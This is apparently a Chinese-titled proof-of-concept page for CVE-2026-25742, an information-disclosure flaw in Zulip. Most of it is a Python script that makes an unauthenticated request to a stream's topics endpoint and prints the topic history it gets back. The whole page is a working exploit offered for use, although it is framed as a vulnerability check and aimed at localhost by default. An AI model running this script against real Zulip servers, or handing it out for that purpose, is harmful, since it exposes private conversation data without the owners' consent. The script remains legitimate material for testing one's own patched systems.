CVE-2026-25742 Zulip 信息泄露漏洞

import requests def check_vulnerability(base_url, stream_id): """ Check if the /users/me/<stream_id>/topics endpoint is accessible anonymously. """ target_url = f"{base_url}/users/me/{stream_id}/topics" try: # Send request without authentication headers response = requests.get(target_url, timeout=10) if response.status_code == 200: print("[+] Vulnerability Confirmed!") print(f"[+] Topic history leaked: {response.text}") elif response.status_code == 401 or response.status_code == 403: print("[-] Access denied. System might be patched.") else: print(f"[?] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target details target_base = "http://localhost:9991" test_stream_id = "1" check_vulnerability(target_base, test_stream_id)